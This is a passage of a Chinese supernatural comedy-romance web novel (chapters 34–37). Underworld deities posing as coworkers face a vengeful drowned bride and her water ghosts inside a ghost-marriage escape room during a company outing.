“云经理啊!这里太邪门了呀。”心有余悸的唐老鸭,像是看到救命稻草。
“你瞎跑什么,老金呢!”金乔觉不是跟着这位老祖宗的吗?
“遇到了一些不可……抗,抗力,他让我先跑,自己留下断后。”
云为衫眼睛微眯,“你确定?他不是让你先当炮灰?”
恐惧压倒了一切,岳晖直接走到云为衫身后,手指着那门后,语无伦次,“后面!真的……有东西在追我!不是NPC!我一开始也以为是NPC,很不幸,真不是,是真的!!!”
“什么真的假的,你法相露出来了。”云为衫白了他一眼,还东岳大帝。
帝个屁!
真是人吓人吓死人。
话音未落,那扇被岳晖撞开的门后的阴影里,缓缓从里面,探出一只青里带白的手,手上湿漉漉的,那灰指甲至少得有十公分,就这么死死扒住了门框。
紧接着,大厅内一股阴湿的腥气,瞬间弥漫了整个喜堂。
所有NPC都静止了,连司仪都闭上了嘴,面目僵硬的转向那扇门。
台案上的烛火,开始疯狂摇曳起来。
白念生咽了口唾沫,小声问出了所有人的心声,“呃……这到底是剧本……还是玩脱了?”
他还以为这次团建会有什么不一样呢!
“别怕。”阎璟将冷樾护在身前,目光沉静的望向那只鬼手,瞳孔深处,一丝幽暗的金光转瞬即逝,紧接着,冷樾身后那道符箓被金光粉碎干净。
冷樾感觉自己一瞬间能动了,下意识就看向阎璟,知道是这人出了手,就是有点可惜,就玩了这么一会儿,洞房还没进呢!
他身前的阎璟表情十分严肃,看来,他想让小鬼送东西来是送不成了。
但好像……这里来了一点儿别的东西。
只见那只青白色的手缓缓爬出,湿漉漉的水,痕迹顺着手延爬的方向滴落,滴答,滴答!
“这声音?”孟小七背后发凉,“我们一开始进来,在走廊那边听到啊滴答声,不会就是这个东西吧!”
云为衫转头看着她惨白的脸,“孩子,你好聪明。”
随着四周阴寒的腥气,越来越重。
“啊——它来了!它来了!!”唐老鸭赶紧缩到几人后面,浑身直抖,哪还有半点平日里,摇着折扇看广场舞的悠闲模样。
“你一个好歹幽冥地府众鬼主帅,怕这玩意?”
岳晖同志哭丧着脸,带着哭腔,“别人不知道你不知道啊,你只是个挂名的光杆司令,实权都在那位手里。”
“那位已经被神罚了,你现在回去能立刻夺回政权。”
“我疯了?我在人间过得好好的,干嘛非得下去蹲监狱似的苦命的干活。”
云为衫朝他翻了个白眼:“……”
一旁听他们说话的阎璟相当无语,自己还在这呢!当他的面讨论这个合适吗?
云为衫的位置被唐老鸭占据了,孟小七只能下意识去抓住了白念生的胳膊,白念生则是拉着云为衫的衣角。
云为衫左右两边被这群活爹围的是水泄不通。
那边的NPC们,依旧保持着诡异的静止状态,仿佛被按下了暂停键一般,不会笑,不会动,仿佛就是死人。
只有唱礼的司仪,眼珠似乎转动了一下,跟着众人一样,死死看向那扇门,嘴唇无声开合几下,想说什么又说不出来的样子。
冷樾上前半步,与阎璟并肩而立。
“这是个什么东西?”他低声问,语气里没有多少情绪。
阎璟没说话,只是抬手,拂了拂自己的衣袖。
冷樾觉察到阎璟在用神力,虽然只有那么一丝丝,一道淡金色微光,完全可以忽略不计,就这样悄无声息的没入前面黑暗的空气里。
随后,那门后的主体开始蠕动。
来了!
紧接着,一个看似佝偻的身影,身体以
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一种扭曲的姿势,从门里挤了出来。那双先出来的青白相间的手,像是找到了归宿,一下子和身体合二为一。
那道身影身上穿着一身破烂不堪的衣服,颜色实在难辨,依稀像是冷樾身上那种衣裙样式,看样子是褪色的喜服。
衣服整个湿漉漉的贴在身上,不断往下滴水,感觉像从水里刚爬上来一样。
那凌乱的头发就像是一团水草,遮住了大半张脸,只露出一只死气沉沉,全是眼白的眼睛,直勾勾的盯着喜堂穿着嫁衣的冷樾。
“新……娘……子……我的新娘……子。”那声音说不出的怪异,就像是舌头怎么都也捋不直。嗓音嘶哑,还断断续续,喉咙里一股喝水时的咕噜咕噜声,但绝对不是气泡音,“跟我走……”
她一边说着,一边用那双青白的手朝冷樾伸出。
阎璟低头一看,那双手长长的指甲缝里,塞满了黑泥,果然是从水里爬上来的。
“嚯!”白念生倒吸一口凉气,这回是真有点发毛了,“这妆效,这演技,得加钱吧?”
云为衫却皱了皱眉,低声道,“不太对劲……这水腥气,太真了。”
她常年跟各种非自然的存在打交道,对某些气息格外敏感。
可那个东西对旁人似乎不感兴趣,它的目标只有冷樾。
它每走一步,留下一路水渍,动作不快,甚至属于僵尸般的僵硬。
“拦住它!”云为衫突然反应过来,这不是游戏里的一环。
白念生看清是什么东西后,就不怕了,嘿嘿一笑,“这位,美女,吉时已过,不可惊扰这对新人,要不,你先回去睡会觉再来!”
孟小七在如何也是在伦晖工作的,此时是个什么情况,不言而喻,沮丧着脸,声音带着颤抖,“你们真的都是好演员,我出去一定给你们打满分。真的!我发誓!”
只是可惜,那东西目标明确,完全不听别人的劝诫,一双利爪直取冷樾。
云为衫把岳晖甩到梁柱后边,挡在冷樾和阎璟身前,“好家伙,有本事冲我来,别欺负弱者。”
“哎呀!又来了。”岳晖一时脱离她的安全屋,被吓的发出一声惊叫,抱头蹲下,眼不见为净。
反正这些人不可能让他死这!
马上就到跟前了,那东西直接从她身侧绕了过去。
“哎!说好的冲我呢!”
那邪门东西嘴角嘟嘟囔囔说了一句什么玩意,也没有人听得懂,大约是[你给我让开,我不找你]之类的。
阎璟担心冷樾受到伤害,一下子把人拉到自己身后。
眼神一沉,在那只手即将碰到冷樾喜服的瞬间,手腕向上一翻,精准扣住那条看起来青不拉几的手腕。
不是人!这是阎璟的第一反应。
没有温度,而且很滑,像一条滑不留手的泥鳅。
只见那邪门玩意身体猛地一颤,似乎没料到自己会被一个看起来没什么杀伤力的小白脸直接抓住。
那只死白的眼睛里,带着恨意,视线从冷樾身上直接转移到阎璟那张脸上。
“嘶——”牙齿倒是长得蛮多,就是牙垢太厚,有点臭!
一瞬间,它被激怒,喉咙里发出低吼,另一只手也抬了起来,双手五指成爪,指甲里面隐隐泛着黑气,毫不犹豫抓向阎璟脖颈处。
冷樾眼光一沉,动了杀意,正要有所动作,身前的阎璟却比他更快。
阎璟抬起手,食指与中指并拢,朝那东西的眉心一点。
只是极轻的一点。
周围时间仿佛凝滞了一瞬。
那双看上他惨不忍睹的手,对阎璟的攻击顿时全僵在半空。
所有的动作,包括身上不断滴落的水滴,都骤然停止,被按下了暂停键!
原本那张脸上,看起来渗人的死白眼,瞳孔慢慢缩成了针尖大小。
看起来更加诡异。
随即,仿佛是一种源自灵魂的恐惧,如同深入冰窖,全身颤抖着看向阎璟。
阎璟收回手,神色平淡,他甚至还有空侧过头,对冷樾低声说了一句,“小心些,别弄脏喜服,不吉利。”
冷樾:“……”
慢慢,那东西仿佛在一瞬间蔫吧。
僵硬的一点点地向后退去,湿漉漉的身体微瑟瑟发抖。
它不敢看冷樾,更不敢看向阎璟。
然后猛的转身,手脚并用,爬回那扇侧门,顿时消失不见。
只留下地上一滩遗留下来的水渍,和喜堂里死一般的寂静。
白念生还不忘在一旁拿手机录像,心态是真大。
他眨巴着眼睛,看看那滩水,又看看神色如常的阎璟,“这就……完了?阎小璟你刚才……干嘛了?点穴?你还会这个?”
云为衫慢步朝两人走过来,神情比刚刚正经很多。
阎璟没回答,只是目光轻轻扫过地上那滩水渍,又瞥了一眼躲在梁柱后面的岳晖,无奈摇了摇头。
冷樾从始至终像个一副无事人一般,只是眼神转到刚刚被控制的司仪身上。
问:“这堂也拜了,礼已成。”
他的声音在寂静的喜堂里,格外清晰,“接下来,我们该做什么了?”
35. 冥婚惊魂密室逃脱3
司仪浑身一激灵,恍若大梦初醒,“哦是,接下来,送送入……洞房……”
洞房两个字说得轻飘飘,毫无底气。
“洞房在哪儿?”冷樾问得很自然。
司仪下意识地指了指喜堂后方,另一条挂着红绸的走廊。
“多谢。”
阎璟见冷樾还真打算去洞房,想着也好,趁着在洞房内招出小鬼,先把密码拿到手再说,不过,最重要还是眼前这个麻烦,“冷樾,我们可能有点小麻烦了。”
“是啊!看样子麻烦还不小。”
白念生从一旁走过来,“不是你们,还真打算去洞房啊!”
阎璟认真想了一下,见冷樾态度恳切,“在这就要引用一句古话:来都来了。”
“哎呦我的天,我都不好意思不磕你们,正主按着头磕!”
阎璟又听不懂白念生的话了,总是这样,上次是gay,这次是磕!
”没有人磕。”阎璟只是觉得那东西如果处理不好,可能会给普通人带来不好的影响,所以才想着暗中把他处理掉,“冷樾,你跟着我走,别怕,我会保护你。”
冷樾特别认真的点点头。
云为衫对他已经彻底无语了。
转头望着阎璟,“阎小璟,你行吗?不行,我上也行。”
阎璟思考一会,“也不是不行。”
“那就是不行。”
“我觉得我能行。”他也没弱到那个地步啊!
云为衫不太看好,“你觉得能行的时候,可能我正好觉得你不行。”
阎璟问:“那我要是觉得不行呢。”
“那你就是真的不行!哪怕我觉得你能行,也改变不了你真的不行。”
“所以,云组长,你到底是觉得我行还是不行?”阎璟快被他绕晕了。
“行不行不重要,重要是,你现在要开始学习从不行变成行。”
众人:“……”
白念生虽然没见过阎璟出过手,但想着出来历练,长长胆子也挺好,“行行行行……你们都行,云组,让他去吧!要学会放手让孩子独立成长。”
“我行,你们别跟来了。”
阎璟肯定的点点头,自然的再次牵起冷樾,只不过,这次是隔着嫁衣的宽袖,力道不怎么重,只是轻轻握住他的手腕,拉着他,径直朝喜堂后面那条走廊走去。
经过白念生他们身边时,阎璟脚步微顿,留下一句,“你们自便,如果不想玩了,就立刻出去,这地方有点小问题。”
云为衫抬头向上看了一眼那道透明的结界,淡淡一句:“就怕现在想走都走不掉了。”
然后,阎璟就拖着那一身大红嫁衣,拉着冷樾,头也不回地走进了那片无尽的黑暗中。
留下喜堂内众人面面相觑。
半晌,白念生挠挠头,“所以……我们现在是……接着玩?”
孟小七看着那滩石板上残留下水渍,又看看那条幽黑深不见底的洞房走廊,咽了口唾沫,“我觉得……我们跟着大佬走,比较安全?”
不知道为什么,孟小七身边虽然有个白念生和云为衫,但她就是感觉阎璟和冷樾那边比较靠谱一点,可能也是女生的第六感!
这边这两个都是吊儿郎当的!
不靠谱的样子!
云为衫戳了戳旁边的岳晖,好奇问,“岳总,你到底看到什么了?”
岳晖抬起头,叹了口气,“应该是水猴子!”
“应该?”
“不,绝对是水猴子!它拉我脚!还想把我拖进那边的水池子里!”他指着那扇水鬼爬出来的门,“里面……里面是个灵堂!摆着棺材!还有……还有这个新娘的牌位!”
那牌位一看就是被水浸湿,看上去特别老旧,上面刻着模糊的字迹,“爱女……什么之灵位。”
而牌位后面还贴着一小块破破烂烂的红纸,像是从婚书上撕下来的,写着生辰八字。
“给,就这玩意。”
“可以啊唐老鸭,你被追真是自找的。没事拿人家东西干嘛!”云为衫板着脸,一点也没有能为他拿到那生辰八字而高兴。
“这生辰……”白念生拿过来一看,眉头皱起,“阴年阴月阴日阴时,切!这设定够老套的。”
云为衫却盯着那滩水渍,又嗅了嗅红纸上残留的水味腥气,是一样的。
她缓缓摇头,“老套归老套……但刚才那东西,恐怕没有那么简单。”
白念生直接召唤出判官笔,在空中划了两道,“看,死气。”
岳晖一拍脑袋,“哎呀,就说嘛,真有鬼!”
再一看对面那一众死气沉沉的NPC,周身寒毛直竖。
“金乔觉呢!”
说罢,云为衫手上翻滚一道千里符,符纸烧起,抛向天空,化成一道追踪印,云为衫顺着符印找到金乔觉的位置。
他正和一个保安在一起,还有,他把谛听也召唤出来了,两人瑟瑟发抖蹲在一个安全屋里。
“真狗啊!不过,会躲就行,就怕傻了吧唧真以为是什么游戏,再跟那邪门玩意认真玩起来就完犊子了。”
就在这时,阎璟冷樾两人去的那洞房走廊的深处,隐约传来一声极轻的关上声响。
“咔嚓。”看来他们已经进洞房了!
随后,几人还没反应过来,整个喜堂里,所有的烛火,同时跳动了一下,再突然熄灭,然后,再齐齐亮起,颜色从一开始的红烛,变成了幽绿。
绿光照在白纸【囍】字,也照着NPC们一个个惊呆的脸上。
突然,每个NPC的眼珠突然变得跟刚刚那个邪门玩意一样,眼珠全白,空洞,恐怖。
就连司仪眼睛也变得空洞起来,脸上原本画着的腮红,在绿光下更显得无比诡异。
他的动作仿佛提线木偶般,跟那些NPC一样,缓缓咧开嘴角,露出一个和之前完全不同,阴森恐怖的笑容。
随后目光还转向云为衫等人,音调都不似刚才,拖长了声音,“宾客未散……礼数未尽……诸位,不如也一起留下来……陪陪新人吧?”
白念生头皮一炸,地府都没这么阴,随着手上一动,判官笔在后面孟小七和还在发懵的岳晖身上布起一道结界,带着人就往后退,“陪个鬼啊!风紧扯呼!”
云为衫反应极快,一个瞬身到,直到闪到通往出口的走廊边,一推之下,脸色微变,“门被锁死了。”
“你们九尾狐不是牛逼吗?强行冲开!”白念生道。
绿光的烛火,无风摇曳着,那些原本还算正常的NPC们,开始机械般慢慢转过身,每个人脸上挂着森冷的笑容,朝着他们,一步一步,围拢过来,包括司仪。
“他被控制了!”
云为衫拔出头上的发簪,直接一道划过去,把众位NPC隔绝开来。
“这下真不好办,能不能直接杀?”云为衫提议。
“大姐,你别老想着杀呀!太暴力了。”白念生呼喊着。
“那你有更好的办法吗?”
“老总在这,问老总啊!”
三人齐齐看向唐老鸭的方向,只见岳晖已经带着墨镜,闭着眼,捂着耳朵,
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一心不闻问窗外事了。
“……”三人心中一阵无语。
说话间,地上那滩水渍,开始咕嘟咕嘟往上冒起泡来。
好像地下有个未知的空间,然后就看到那只熟悉的青白色的手,再次从水渍里缓缓从中探出来
“呜呜……这次绝对值回票价。”孟小七快哭了,“阎小璟!冷老大!你们洞房能不能快点!我们这边要扛不住啦!!!”
幽绿的烛火将喜堂染成一片阴森的鬼蜮,白念生瞧着孟小七没出息那样,“就这布景?比起我们家差远了,东施效颦。”
孟小七带着哭腔,直接拆穿他,“那你刚刚抖什么?”
“就是,既然你觉得比你家差远了,那什么时候请我们去你家坐坐?趁你家老大现在被罚下界,不在家。”云为衫和白念生两个人一边斗嘴一边布置符箓。
NPC们开始从四面八方缓缓朝他们围拢,脚步声拖沓又整齐,每一步都像是受到指令。
地上那滩水渍冒出的那只青白色的手,已经探出半截小臂,正缓慢的向外爬,边爬边抓地,指甲在地上抓出好几道划痕。
“这边门也锁死了!”云为衫找了几个出口,都没用,通往入口的厚重木门,纹丝不动。
“这边!”白念生眼尖的很,发现喜堂侧面有个不起眼的角门,虚掩着,外面似乎有微弱的光,是白色的,应该是月光?
他来不及细想,拉起唐老鸭,朝云为衫那边喊了一句,“从这儿走!”
云为衫扶着腿软的孟小七紧随其后。
最后把角门关上,两道符箓紧贴门上,彻底封死。
防止那些NPC跑出来,不能杀的东西,被缠住相当麻烦。
角门外连接的是一条狭窄的露天廊道,后面连着个小天井。
这地方的布景出奇的怪异,云为衫抬头看了一眼,咒骂了一句冷樾。
孟小七不解。
云为衫白了一眼,“这是幻境。”
白念生反应过来,但是孟小七没有反应过来,“那也不应该骂冷总监呀!”
“他不该骂吗?明明这厮一进来就发现不对劲,但他就是沉得住气死活不说,一个劲却在那装,想以此来博取阎小璟的照顾,这厮骨子里坏透了。”
唐老鸭在一旁,“我说呢,穿个新娘妆,还有模有样的,他不开心是不是因为自己没有抽到新郎呀!”
孟小七这个时候还不忘八卦,“所以,冷总监真的在追阎小璟?”
云为衫直接拆穿,“严格的说,是暗恋。他都没胆告诉阎小璟,他怕被拒绝,就像今天阎璟拒绝那个小美女一样。”
“那我们出去后,帮他一把吧!”孟小七的腐女之魂在燃烧。
“谢天谢地,你们居然还能想到出去。赶紧的吧!”白念生白眼已经翻上天了。
院中,清冷的月光洒下来,驱散了刚刚那股子阴森感。
几人斗嘴完,刚松半口气,就听身后“砰”一声巨响,后面那扇角门晃动。
“靠!”白念生骂了一句,“这鬼地方怎么到处透着邪门!”
孟小七紧张地回头看着紧闭的门,“他们……不会跟出来吧?”
“不会,我布了结界,他们暂时出不来。”
话音刚落,前面的水井里开始冒着咕噜噜的泡泡,一股熟悉的阴寒水腥气开始弥漫开来。
“快走!”云为衫当机立断,指向天井另一头,一条通往黑暗深处的通道,“去找冷樾他们!”
现在看来,只有那两个看似最不靠新郎新娘,可能才是唯一的生路。
36. 冥婚惊魂密室逃脱4
与此同时,洞房内。
这个房间跟外界的诡异截然不同,甚至还带点温馨。
房间其实不大,布置的很精致,有几分古代新婚洞房的意味。
雕花大床,挂着红帐,桌上摆着合卺酒。
两支粗大的红烛默默燃烧,光线暖黄,看起来一切都很和谐。
前提是,忽略掉墙角堆放的一些腐朽道具,以及空气中若有若无的线香和霉味。
进屋后,阎璟便松开了握着冷樾手腕的手。
冷樾几乎是立刻就扯下了那碍事的红盖头,随手扔在床上。
然后开始慢条斯理,解身上那件繁锁的红嫁衣,他突然很想看阎璟穿在身上是什么样子,一定十分惊艳。
“刚刚没有被吓到吧?”阎璟走到桌边,随意拿起一只酒杯看了看。
冷樾解开外袍的系带,露出里面原本的黑色衬衫。
烛光在他侧脸上,度上一层柔,他声音低沉,“刚才那东西……不是活人?”
“嗯。”阎璟放下酒杯,目光在房间四周来回打量,“也不是寻常的游魂野鬼。身上有【因果线】残留的味道,很淡,但确实存在。”
他顿了顿,看向冷樾,“而且你的新娘身份,似乎她给认定了,非得带你去哪里办什么事不可呢!”
冷樾是丝毫不在意,只问:“你瞧我这个新娘扮的怎么样?”
阎璟转身冲他微笑,给出最高评价,“美则美矣。”
冷樾拿起新娘装,“要不,咱俩换换?”
“别了,我穿着……没你穿的好看。”阎璟直接拒绝,快速脱下新郎外袍,露出里面的运动服,走到门边侧耳听了听。
愿望落空了,新娘装被冷樾随手扔在床上角落。
阎璟趴在门上仔细听,外面隐约能听到一些模糊的声响,像是重物倒地,又像是……水声?
“他们几个人在外面恐怕有麻烦了。”阎璟道。
“放心吧,他们应付的来,若是应付不来,出去就可以开除了,毕竟公司不养废人。”
“东岳大帝你也说开就开除啊!”
“他是最没用的。”冷樾慢条斯理地坐到了床边,手指拂过红帐,摸了摸里面的喜被,被子面蛄蛹着什么活物。
“咦,有东西。”冷樾眼神微眯,没想到这里还一只藏着的小鬼。
阎璟猛的转身走过来,“是什么?”
“掀开看看就知道了。”
被子一掀,一个穿着地府阴差制度胆小鬼撅着屁股趴在床上颤颤发抖。
阎璟一下就认了出来,这是来给他送密码和彼岸花饼干来的小鬼。
不是,他都还没召唤,怎么就过来了?还在这里?秦广王该不会已经知道他的具体位置,那还故作不知装什么?
“这小玩意也是跟外面那个一伙的?”冷樾明知故问。
阎璟先是惊讶,“你能看到它?”
冷樾眼珠一转,随后点点头,“不知道为什么,这个区域里所有的异物我都能看到。”
“可能这里是幻境的缘故。”阎璟转念一想。“这小鬼应该是无意闯入了此地。”
“所以,这小东西不是跟那怪物一伙的。”冷樾又问一遍。
“应该不是。”阎璟无奈捂脸,“这小东西可能是被外面那点热闹吓到了,暂时躲在这屋。”
阎璟轻轻点点小鬼的脑袋,“就是有点胆小。”
冷樾微眯眼睛,嘴角勾起,“哦……原来还是个胆小鬼。”
一个地府来的的小鬼,被鬼屋里的东西吓到?这像话吗?
“所以,现在该怎么办?”冷樾有些好笑的看着他,“外面那玩意儿,可能比我们想的更不好对付。它似乎跟这地方有莫大的联系,又或者说,是跟我这个新娘身份有莫大关系,不解决掉,我们怕是出不去。”
阎璟绕了一圈,“这个房间里有结界,似乎是想把你这个新娘困死在这里。”
“有没有一种可能,淹死的人总会想找个替身,代替自己遭受天谴!?”
“你觉得它是淹死的?”阎璟反问道。
“不是?”
“我觉得像枉死的!”阎璟见过太多这种,自己失足淹死不会有这么大的怨念。自然也无法控制这片区域,形成幻境。“你看这个喜房,像不像临时布置的。”
不说冷樾还没发现,确实如此。虽然精致,物件齐全,但无论是柱面还是家具,都像是随便找了个柴房随便搭成的临时喜房。
冷樾似有些不解?
谁家娶亲不是竭尽全力用最好的?谁家会用柴房?甚至房间角落还有腐竹的木头。
“别怕,我能解决。”不知道这句话是对胆小鬼说的还是跟冷樾说的,那骨子里透出来的自信,让冷樾不由看怔了。
对了,这才是阎王大人的真实模样。
阎璟拍拍床上那个瑟瑟发抖的胆小鬼小脑袋,默默从他怀里抽出东西,回头看了一眼冷樾,见冷樾似乎在出神,注意力没有在那物件身上,他立刻将那密码玉牌收了起来。
冷樾回过神来,把那小鬼往里挪了挪,邀他一起坐床上,“我相信你能解决,但是,我怕你受到伤害,所以还是我来吧!”
“你可以吗?”阎璟心里的冷樾一直都是有点本领的普通人,这个“点”估计跟他现在剩余的神力那点也不相上下。
不过,他确实不太好出手,他顿了顿,“严格来说,这算人间事,而且有因果牵扯。我出手,规矩上确定有点小麻烦。”
话音刚落,阎璟就觉得自己好像说露嘴了,但他抬眼,目光落在冷樾脸上,见对方并没有觉察到,也放心了些,“但如果是新娘的意愿,为了保护无辜的宾客,驱散邪祟,那就合情合理多了。”
冷樾自然知道阎璟不好出手,才主动揽过来,可他就是想在阎璟这里讨点利息,“你还真准备让我动手?”
“你不是说你来嘛,正好活动活动筋骨,让我看看总监大人的手段,上次你在办公室还说要亲自带我呢!”
阎璟循循善诱,那双眼睛里透着促狭,“而且,刚才它可是指名道姓要新娘子跟它走。这事,你出面最合适。”
冷樾盯着他看了几秒,嘴角扯出一个极淡的笑意,真不愧是阎王大人,PUA也挺有一手的,“行,那新娘动手。那你这个新郎,也别光看着。”
他转身从扔在床上的嫁衣堆里,抽出了那条红色绣着鸳鸯的红腰带,然后转身拿给阎璟。
“拿着他。”冷樾语气带点兴奋,“既然是夫妻,总要有点信物。待会儿要是那东西再想拖我走……”他顿了顿,眼神里闪过一丝冷光,“夫君就用这个,把她绑了。”
阎璟接住那条精致刺绣的红腰带,抬眼看冷樾,脸上的笑容加深了些,“乐意效劳。”
冷樾不满意,他都叫夫君了,“后面称呼呢!加上。”
不知道是不是烛火映的,阎璟脸颊闪过一丝绯红,”呃……娘子。”
“哎。”冷樾这才开心,转身走向房门,抬手按在门板上。
眼神一冷,掌心一道爆发而出的气流旋转,随即,“咔”一声响,门锁从内部直接被震开。
阎璟眼睛都睁大了!
不愧是他们的总监大人,还是有两把刷子!
就这一下,肉眼评测,比白念生强。
拉开门,外走廊的阴冷气息立刻涌入房间。
冷樾转身,朝阎璟的方向抬起手,“走吧夫君,去会会那玩意。”
阎璟将冷樾给他的那条红腰带,随意的绕在左手手腕上,站起身,右手搭在冷樾左
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手上,跟了上去。
走廊深处,隐约传来孟小七的哭腔,“救命啊!这水怎么甩不掉!!!”
白念生也在气急败坏的大叫,判官笔都被他快使冒烟了,“云姐!左边!左边又冒出来一个!”
唐老鸭完全不敢睁开眼睛,只是一味,“啊!它抓我脚踝!!!”
云为衫九尾全开,直接把人往天上卷,其他尾巴直接扫荡过去,火力全开!
阎璟走在冷樾身后半步,听着前方的鸡飞狗跳,再一看云为衫九尾兽化的模样!
果然!他轻轻叹了口气,这些人,真的好弱!
阎璟手腕上的红腰带,随着他的步伐,在昏暗的光线中,轻轻晃动。
走廊的尾巴阴影被全面覆盖,原本墙壁上那些,为了营造恐怖气氛而涂的红色血迹,在幽绿烛光的照耀下,看起来更像是血。
周围空气阴湿,全是作呕的水腥气,闻一口直接提神醒脑。
“这边!往这边跑!”
他们刚才还试图,原路返回喜堂,看看能不能找其他出口,可发现那喜堂已经完全变了样。
原本披红挂彩全都消失了,取而代之的是一间破烂不堪满是蜘蛛网的腐朽屋子,红绸变白幡。
正中央处还摆着一口黑漆漆的棺材,棺材半开着盖子。
而原本的那些NPC们,包括那个唱仪司仪,每个人身上都穿着惨白的寿衣,面无表情地站在棺材周围,直勾勾地盯着他们。
唐老鸭已经被吓得,几乎失去思考能力,法相都在捂住眼睛,一路全靠孟小七和白念生连拖带拽。
“不行!前面没有路了!”最前面的云为衫,猛地刹住脚步,在她前面的是一堵结实的砖墙。
还是一条死胡同。
而在他们身后,那凌乱的脚步声离他们越来越近。
转角处的阴影逐渐变大,那个怪物的身影已经隐约可见。
孟小七背靠着冰冷的墙壁,脸色发白,手上还不忘拉着唐老鸭,“完蛋了……呜呜呜呜呜”
云为衫比较淡定,目光一直在寻找任何可能的缝隙,同时低声问岳晖,“老总啊,你之前除了牌位,还看到什么没有?”
唐老鸭拼命摇头,后来一想,还真有,“对了,有!有幅画,画上是一个女子出嫁,但是那女子面容是哭的,旁边的人也是一副哭容。”
“真难为你看这么仔细,还有吗?”
岳晖哭丧着脸,“我不记得了,我只知道,那个怪物一直追我,把我一直往水里拖。我不去,亮出法相后,她不开心,就自己扑通跳下去了。”
“你确定她是扑通一声跳下去?而不是想去游泳?”白念生伸着头问
唐老鸭好不客气在他头上砸一下,“就你话多。”
“如果我没猜错,这是一场冥婚水葬。”云为衫脸色更沉,“而且是新娘有怨念未消,怪不得……”
孟小七太想哭了,“没想到这次没去湖边BBQ,在恐怖屋BBQ了。”
“妹子,你别笑了好吗?”岳晖叫不上来孟小七名字。
“你看我像笑吗?”孟小七都快哭了。
就在这时,走在最前面的那只已经转过了拐角,彻底暴露在他们面前。
“啊!!!!!!”
她抬起头,头发像水草一般铺在惨白的脸上,用那只死白死白的眼睛,再次锁定人群。
准确地说,是锁定了因为惊慌而稍微靠前的孟小七。
青白泡的发肿的手指猛的伸长,抓向孟小七!
“小心!”白念生想拉孟小七,自己却绊了一下,被云为衫的尾巴及时托住。
千钧一发之际!
一道黑影带着凌厉,从上方突然落下,精准无比的踩在那只抓向孟小七的青白手腕上。
37. 冥婚惊魂密室逃脱5
“咔嚓。”
手腕骨裂声顿时响起。
那只伸长的手被踩折成直角,又以诡异的角度快速缩了回去,紧接着就是一声尖锐的嚎叫,声音嘶哑残忍狠厉!
孟小七惊魂未定,一抬头,冷樾不知何时出现在他们面前,正满脸淡然的看着他们。
“冷老大!你终于来救我们了。”
冷樾早已脱去红色的嫁衣,只着黑色衬衫与长裤,衣袖挽到手肘,手臂的线条流畅,充满力量。
波澜不惊的神情,一切尽在掌握的沉稳,让他整个人如同神圣不可侵犯的神祇,虽然那张脸上依旧臭臭的,眼神也像是结了一层冰霜。
他甚至连看都没看那只被踩断的手,目光淡淡扫过下面,目瞪口呆的几人,最后走在云为衫身边,上下扫一眼,有点不可思议,“能把你逼到尾巴都出来,不简单啊!”
云为衫收回九尾,一脸无可加奈何,“我是被他们几个人逼的。救完这个救这个,救完这个救这个,手不够多,只能用尾巴夹了。”
“还能动吗?”冷樾问。
“能!”云为衫立刻回答,同时一把将腿软的唐老鸭提起来。
“跟着。”冷樾言简意赅,抬脚就走。
他甚至没去管身后那只想试图再次扑上来的东西。
只是顺手从旁边的黑暗处,抽出一个腐朽木架,上下一掰,折断木条,看也没看,直接反手就抽了过去。
木条就这么准确无误,抽在那东西的脖颈处。
“啊!”又是一身沉闷的惨叫。
冷樾那一棍子手劲不轻,那东西直接被力道抽得向后跌去,然后猛的撞在后面墙壁上,整个身体滑落下来,倒在地上挣扎半天爬不起来。
白念生看得眼睛都直了,“我靠!冷老大也是练家子啊!”
一个破木条就能把这玩意打得飞起。
“是你没用。”云为衫还不忘怼他。
冷樾没理白念生的话,脚步已经朝走廊另一个方向走去。
虽然脚下速度并不快,但周身带着一种无形的压迫感。
所到之处,所有阴影里试图张靠近的鬼影,下意识都不敢露面。
“还愣着干什么?跟上!”云为衫催促道,提着唐老鸭紧随其后。
孟小七和白念生也反应过来,赶紧跑步跟上。
冷樾似乎对这里的路径很熟悉,左拐右绕,避开几处阴气重的地方,很快将他们带到了一处开阔的院落。
院中有个已经干涸的池塘,池边有几处立着残破的假山石。
中央的池塘底端,隐约有个可见的黑洞,洞的入口,像是口井。
月光似乎也比以往更明亮了些。
“我们刚刚经过这?哎,不对,刚刚没有这口池塘。”
“在这里等着,不要乱跑。”冷樾停下脚步,回头看向几人,仔细叮嘱。
“怎么就你,你家阎小璟呢?你放心他一个人?”
阎璟一个人也比你们加起来都靠得住,冷樾心里想。
“他去刚刚的喜堂的棺材里取一样东西。”冷樾语气平静,就好像在说出去遛个弯,一会儿就回来了一样。
正准备离开此地,去接应阎璟,谁成想,还没踏出去一步,衣服就被孟小七死死拽住一角。
“冷总监,”孟小七哆嗦着问,“不不不,冷老大,你要去哪?你可要快点回来啊!没有你们,我们玩不转的。”
“……”冷樾没回答她的话,只是盯着她拽住自己的那只手,孟小七仔细打量他的脸色,颤颤巍巍松开手。
心里还不忘吐槽,真小气,拽一下又不会死。
此时,冷樾抬头再看向他们来时的方向。
几乎在他抬头的同时,原本那些阴暗里,密密麻麻趴在墙上的伪装成阴暗的黑影,开始从各个通道口里渗出水来。
水滴成线,觥筹交错,编织成网,网化成形。
水鬼!
密密麻麻都是水鬼!
而且他们攻击目标很明确,就是这个院落里所有的人。
尤其是……冷樾!
“新娘子,必须留下来……完成我的葬礼。”那道痛苦的声音带着嘶哑,从四面八方回响,阴森恐怖,瞬间让人头皮发麻。
孟小七的脸彻底白了,不敢抓冷樾的衣角,直接反过来紧紧抓着白念生的胳膊。
白念生的判官笔,在空中划出几道业火,直接对前面那道几道身影烧了过去。
用处不是很大,又接二连三扔出几道符箓,把那交织的水鬼打出一个洞,但很快那些玩意就会修复。
这执念太深了吧!
“现在怎么办?杀出去?”
“不是,大姐,别老想着杀成吗?”
冷樾依旧背对着他们,面向那些准备涌上来的水鬼,只淡淡说了两个字,“不用。”
冷樾的目光,一直都没放在那些怪物身上,直到它们身后,阎璟的身影浮现,他才彻底松了一口气。
只见阎璟不紧不慢地从阴影中走了出来,旁边都是密密麻麻的水鬼,朝着他张牙舞爪。
他身上那身米白色的运动服,甚至裤脚都没有脏,一众阴暗爬行的水鬼中,整个身体在月光下发出神圣的光。
那张脸的淡然与笃定,似乎一切都在他掌握之中,在这诡异的氛围中,平添了几分难以言喻的威严。
手上,冷樾给他的那条红腰带还不忘拿在手里当武器。
孟小七看呆了!
云为衫也愣了一下。
白念生总感觉阎璟这步伐,这身影,有点似曾相识,可就是怎么也想不起来。
阎璟的出现,让那些原本打算攻击的水鬼,纷纷有所忌惮,想要撤退,像是受到什么指令,不受控制,又开始忍不住骚动起来。
